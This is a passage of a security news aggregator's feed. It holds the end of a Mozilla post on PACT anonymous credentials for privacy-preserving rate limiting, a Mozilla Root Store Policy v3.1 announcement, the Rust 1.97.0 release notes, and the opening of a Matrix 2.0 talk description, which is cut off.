<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
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<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
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<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.97.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can get <a href="https://www.rust-lang.org/install.html" rel="external"><code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1970-2026-07-09" rel="external">detailed release notes for 1.97.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#what-s-in-1-97-0-stable"></a>
What's in 1.97.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#symbol-mangling-v0-enabled-by-default"></a>
Symbol mangling v0 enabled by default</h4>
<p>When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the <a href="https://refspecs.linuxbase.org/cxxabi-1.86.html#mangling" rel="external">Itanium ABI</a>,
also (sometimes) used by C++.</p>
<p>The new mangling scheme resolves a number of drawbacks from the previous one:</p>
<ul>
<li>Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash</li>
<li>Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary</li>
</ul>
<p>Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via <code>-Csymbol-mangling-version=v0</code>. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.</p>
<p>See the previous <a href="https://blog.rust-lang.org/2025/11/20/switching-to-v0-mangling-on-nightly/" rel="external">blog post</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#cargo-support-for-denying-warnings"></a>
Cargo support for denying warnings</h4>
<p>It's common practice to deny warnings in CI. Historically, doing so is
typically done through <code>RUSTFLAGS=-Dwarnings</code>. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via <code>allow</code>
level), rendering without failing (default, <code>warn</code>), or denying them (via <code>deny</code>).</p>
<p>As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
<code>CARGO_BUILD_WARNINGS=allow cargo check</code>, temporarily silencing them.</p>
<p>In CI, jobs can instead set <code>CARGO_BUILD_WARNINGS=deny</code> to deny warnings. This
can be combined with <code>--keep-going</code> to collect all errors and warnings rather
than stopping on the first failing package.</p>
<p>See the <a href="https://doc.rust-lang.org/cargo/reference/config.html#buildwarnings" rel="external">documentation</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#linker-output-no-longer-hidden-by-default"></a>
Linker output no longer hidden by default</h4>
<p>rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>warning: linker stderr: ignoring deprecated linker optimization setting '1'</span></span>
<span class="giallo-l"><span>  |</span></span>
<span class="giallo-l"><span>  = note: `#[warn(linker_messages)]` on by default</span></span></code></pre>
<p>Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.</p>
<p>Note that currently, <code>linker_messages</code> is a special lint that is <em>not</em> affected
by the <code>warnings</code> lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">file an issue</a>.</p>
<p>To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through <code>Cargo.toml</code> by adding a <a href="https://doc.rust-lang.org/nightly/cargo/reference/manifest.html#the-lints-section" rel="external">lints section</a> like this:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>[</span><span>lints</span><span>.</span><span>rust</span><span>]</span></span>
<span class="giallo-l"><span class="z-variable">linker_messages</span><span> =</span><span class="z-punctuation z-definition z-string z-string"> "</span><span class="z-string z-quoted z-string">allow</span><span class="z-punctuation z-definition z-string z-string">"</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E" rel="external"><code>Default for RepeatN</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError" rel="external"><code>Copy for ffi::FromBytesUntilNulError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154003" rel="external"><code>Send for std::fs::File</code> on UEFI</a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one" rel="external"><code>&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one" rel="external"><code>&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one" rel="external"><code>&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one" rel="external"><code>&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width" rel="external"><code>&lt;{uN}&gt;::bit_width</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width" rel="external"><code>NonZero&lt;{uN}&gt;::bit_width</code></a></li>
</ul>
<p>These previously stable APIs are now stable in const contexts:</p>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control" rel="external"><code>char::is_control</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.97.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-197-2026-07-09" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-197" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#contributors-to-1-97-0"></a>
Contributors to 1.97.0</h3>
<p>Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.0/" rel="external">Thanks!</a></p>]]></content:encoded>
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<title><![CDATA[Matrix 2.0 — How we're making Matrix go voom!]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 395x - Views:15995 NOTE: we'll update the FOSDEM 2023 playlist as we gather all the talks. Stay tuned for more Matrix content.

This video was recorded during FOSDEM 2023, and can also be found here: https://fosdem.org/2023/schedule/event/matrix20/

Matrix is an ...]]></description>
<link>https://tsecurity.de/de/3693271/videos/matrix-20-how-were-making-matrix-go-voom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693271/videos/matrix-20-how-were-making-matrix-go-voom/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:49 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 395x - Views:15995 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/eUPJ9zFV5IE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>NOTE: we&#039;ll update the FOSDEM 2023 playlist as we gather all the talks. Stay tuned for more Matrix content.<br />
<br />
This video was recorded during FOSDEM 2023, and can also be found here: https://fosdem.org/2023/schedule/event/matrix20/<br />
<br />
Matrix is an open standard for secure, decentralised communication, which may be familiar from powering the online editions of FOSDEM in 2021 and 2022 (and hybrid-FOSDEM this year!).<br />
<br />
In this talk we will explain the fundamental changes which are landing in Matrix 2.0, which speeds up Matrix to be at least as snappy as the fastest proprietary messaging apps - all while handling thousands of rooms spanning millions of users.<br />
<br />
During 2022 we&#039;ve been on a mission to completely rework the slowest bits of Matrix, aiming that nobody can ever complain about Matrix being sluggish again. In practice this means fundamental changes in:<br />
<br />
- How Matrix syncs data - &quot;sliding sync&quot;, where servers only sync the bare minimum data to clients required to render the UI, providing instant login and instant sync (MSC3575)<br />
<br />
